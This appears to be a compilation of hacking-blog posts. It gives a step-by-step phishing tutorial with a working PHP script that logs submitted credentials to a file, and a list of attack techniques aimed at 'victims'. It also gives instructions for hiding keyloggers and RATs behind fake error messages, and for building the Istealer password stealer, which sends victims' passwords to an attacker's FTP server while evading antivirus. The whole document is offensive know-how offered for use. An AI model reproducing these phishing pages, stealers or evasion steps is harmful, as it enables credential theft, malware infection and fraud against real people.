Most detailed guide to phishing..

I am writing this post in response to the request made to me via comments to give tutorials about phishing.. Here i will be listing step by step instruction to create your own phishing page or a fake page..

So, before starting something more quick for the new learners.. I am giving the pre-made pages in the links.. You can use them.. or if you really wanna learn then scroll to Detailed Method:

Method 1: Use my Pages-
Here are the steps you must follow for this to work...

1. Sign up to a free hosting service like Freehostia or Ripway or anyone of your choice there are many available options for it..
2. Download the phishing pages for the site(s) you want..
Yahoo Mail
Rediff Mail
Orkut
Gmail
Blogger
FaceBook
3. Upload them to the hosting service (both php and html).. and get the url for the index.html, this will be your fake page..
4. you are done now.. just pass the link to the victim and ask them to login.. then open the hosting site and find the file passes.txt You will find all the variables in the site along with the login name and the password.. Njoy.. If you face any problem comment.. or if you want the pre-built fake pages for any other sites the also comment, I will create and add it here..
If you still struggle to create on your own, i will set it up for you.. and hand you the password..!! 

Method 2. Create Your Own (Detailed method) -

1. It is must to sign up with a hosting service, so get one first..
2. Then go to the page you want to create a fake page of, say yahoo.. and save the html file..( Go to login page not the main page)
3. Now you have to create a php script for recording all the variables that are entered in the page and storing it to a text file, You must know that even the login name and passwords are the variables here. so, you will get them to.. The script is self explanatory, but if you wanna know more about it comment and i will help you..

<?php
header("Location: http://www.yahoomail.com");
$handle = fopen("passes.txt", "a");
foreach($_GET as $variable => $value)
 {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this with name phis.php this one is for yahoo so, the url is for yahoo.. and it will record all the variables in the passes.txt

4. So now you have to link this script with the page you saved earlier..

5. Open the html file in your HTML editor or notepad, and find the "action = " label and replace the following thing with the name of the php file i.e phis.php
6. what you just did is to call your own script when the user submit its form using the action command in html, so now you have the password and the user is redirected to original page..

The following tips will make your task easier..
1. You can send them this link through an anchor text "Yahoo" having hyperlink to your URL.. this will remove the doubt about entering the url in the url navigation bar..
2. You can sign in to get free domains along with hosting mentioned before from the sites like CO.CC or Dot.tk which will make your task more simpler..

So, hope you enjoyed the post, please comment and let me know.. it will be highly encouraging..
Cya, Will be back with more.. Happy Hacking...

All Types Of Hacking Techniques.. 17 ways to bring accounts to your Mercy..

Update : The blog wasn't updated for long. It's been maintained now. Do check the new post that elaborate on  Whaling - A way to hack the hackers (mentioned in this list too). Anyway for now continue with the compiled list. 

So, Its time now that we should know what are various categories hacking fall into. I will try to focus on the ones based on password hacking. I've also written a small post on email hacking techniques already but this one will cover it elaborately. There is no distinct classification of hacking.. but i will list all i could remember..

So, as you all would have guessed this will not be a practical application.. I will give tutorials on all of them in coming posts.. but its the most important thing to have basic knowledge about all the techniques available.. So, consider going through the post once..

Common Methods for Hacking Computer Terminals(Servers):

This comprises of either taking control over terminal(or Server) or render it useless or to crash it.. following methods are used from a long time and are still used..

1. Denial of Service - 

DoS attacks give hackers a way to bring down a network without gaining internal access. DoS attacks work by flooding the access routers with bogus traffic(which can be e-mail or Transmission Control Protocol, TCP, packets).

2. Distributed DoSs -

Distributed DoSs (DDoSs) are coordinated DoS attacks from multiple sources. A DDoS is more difficult to block because it uses multiple, changing, source IP addresses.

3. Sniffing - 

Sniffing refers to the act of intercepting TCP packets. This interception can happen through simple eavesdropping or something more sinister.

4. Spoofing - 

Spoofing is the act of sending an illegitimate packet with an expected acknowledgment (ACK), which a hacker can guess, predict, or obtain by snooping

5. SQL injection -

SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. It uses normal SQL commands to get into database with elivated privellages..

6. Viruses and Worms - 

Viruses and worms are self-replicating programs or code fragments that attach themselves to other programs (viruses) or machines (worms). Both viruses and worms attempt to shut down networks by flooding them with massive amounts of bogus traffic, usually through e-mail.

7. Back Doors - 

Hackers can gain access to a network by exploiting back doors administrative shortcuts, configuration errors, easily deciphered passwords, and unsecured dial-ups. With the aid of computerized searchers (bots), hackers can probably find any weakness in the network.

So, not interested in these stuffs.. huh??? wait there is more for you.. So, how about the one related to hacking the passwords of email and doing some more exciting stuffs.. The various methods employed for this are:

8. Trojan Horses -

Trojan horses, which are attached to other programs, are the leading cause of all break-ins. When a user downloads and activates a Trojan horse, the software can take the full control over the system and you can remotely control the whole system.. great..!!! They are also reffered as RATs(Remote Administration tools). I've written about them here.

9. Keyloggers -

Consider the situation, everything you type in the system is mailed to the hacker..!! Wouldn't it be easy to track your password from that.. Keyloggers perform similar functionallities.. So next time you type anything.. Beware..!! Have already posted about keyloggers and ways to protect yourself from them.. read it here.

10. BruteForcing - 

The longest and most tiring job.. don't even consider this if you don't know the SET of password for your victim..

11. Secret Question - 

According to a survey done by security companies, it is found that rather than helping the legitimate users the security questions are more useful to the hackers.. So if you know the victim well try this..

12. Social Engineering - 

Ya this was one of the oldest trick to hack.. Try to convince your user that you are a legitimate person from the system and needs your password for the continuation of the service or some maintainence.. This won't work now since most of the users are now aware about the Scam.. But this Social Engginering concept is must for you to have to convince victim for many reasons..!!!

13. Phishing - 

This is another type of keylogging, here you have to bring the user to a webpage created by you resembling the legitimate one and get him to enter his password, to get the same in your mail box..!! Use social engginering.. A detailed guide for the phishing can be found here or an introductory and setup explanation here

14. Fake Messengers - 

So its a form of phishing in the application format.. getting user, to enter the login info in the software and check your maill..!!!

15. Cookie Stealer - 

Here the cookie saved by the sites are taken and decoded and if you get lucky.. You have the password..!!!

Hmmm.. not satisfied with single account at a time..?? so there are ways to hack lots of accounts together.. I know few but there exists many..!! listed are the ones i know and will teach you in coming posts...

16. DNS Poisoning or PHARMING - 

So, phisihing is a tough job.. isn't it..?? convincing someone to enter their password at your page..?? what if you don't have to convince..?? what if they are directed automatically to your site without having a clue..?? Nice huh..?? Pharming does the same for you.. More about it in my next post..

17. Whaling - 

This method gets you the password of the accounts which are used by the hackers to recive the passwords.. So you just have to hack one ID, which is simplest method( Easy then hacking any other account, will tell you how in coming posts..) and you will have loads of passwords and so loads of accounts at your mercy..!!!

I would like to add one thing the methods metioned under exiting ways are easy but are for newbiees and script kiddies so if you really want to learn hacking then do some real work, then relaying on the softwares or tools.. will give info of that in my later posts.. or comment if you want any more info.. 

So thats all for now.. Comment if like the post.. I will highly Appriciate your interest.. 

Fake error message generator : Hide keylogger and trojan

I have already explained about use of Binders and Crypters to hide our keyloggers and trojans. Today, I have written this article to inform you about one more hacking software which can be used to convince the victim that the software isn't malicious and some error crept in, Our Social Engginerring Tool -Fake error message creator. This software is of immense use if you wanna install your RAT server or keylogger remotely. I will tell you how to use this software in this article.

Fake Error message creator:
Suppose, you have sent keylogger or trojan to victim to install it on his computer. He runs the keylogger and gets an error message “Unable to open file- Runtime error”. Then he asks you for this message and you can easily say that “May be the file was not supported or was corrupt” and he believes you.
But, in this mean time, your server or keylogger is installed on his computer(without his knowledge) and you start hacking his computer remotely and also extracting passwords from his computer.
This is what a fake error message creator can do. This software helps you to create a fake error message to hide your trojan or keylogger from victim’s eyes.

How to use Fake Error message creator:
1.Download Fake Error message creator software.
Password: hackerhubz
2. Unzip downloaded file.
3. Run the software (supports Windows XP and Windows Vista). Now, simply enter the information as you like and want the error message to look like.
4. After filling information, hit on “Build” and you will get “MessageBox.exe” file in current directory. You can bind this “MessageBox.exe” to keylogger to hide it from victim using Binder.
5. Here is the example

and its resultant fake error message.

That’s it. Just try out this software to create fake error messages. As already said, this software is worthy for hiding RATs and keyloggers from victim’s eyes. If you have any problem in using this Fake error message creator software, please mention it in comments.
njoy hacking..

Hack Tool : Istealer

Istealer like ardamax is an efficient windows password stealer software used to hack email account passwords and every online activity. I have already explained about RATs and keyloggers and Torjans to hack email account passwords, where you have to send your keylogged file to victim. In the same way, Istealer can be used to hack email account password and find passwords of various emails.

Steps:

1. Download Istealer password stealer software to start the hacking..
2. Go to http://www.esmartstart.com/ or any other free hosting site and sign up for free account. After creating free ftp server account, enable FTP Access and create a new folder named “Istealer” at your FTP.
3. Run the Loader.exe file present in Istealer folder to get something like:

4. Now, simply fill the following in Istealer:
Host: ftpserver.esmartdesign.com
Username and Password: Your username and password for esmartstart ftp server.
Directory: /Istealer
5. You can bind Istealer to any other file by checking “Bind with another file” and giving file path to bind with. Also, you can use Icon Change to change Istealer file icon. This step is optional but, necessary for hiding password stealer from victim’s eyes.
6. To check whether you have entered right ftp server information, hit “Test” and if you have done it right, you will get message “Works perfect”. If it says “Cannot connect to FTP Server”, you have entered something wrong… just check it again.
7. When you’ve done all above steps, simply hit on “Build” and save the password stealer file as you want. You can also use crypters as i explained in last post for hiding it from AntiVirus Software.
8. Now, simply send this password stealer file to victim and make him run this windows password stealer file on his computer use Social Engineering. After he runs our sent password stealer file on his computer, you will get all passwords and records saved on his computer at your FTP server.

That’s it. Now, you can hack email account password using Istealer. Remember to crypt and then bind this windows Password stealer to make it undetectable by antivirus. If you have any problem in using this Istealer password stealer software to hack email account password, please mention it in comments.
njoy Istealer..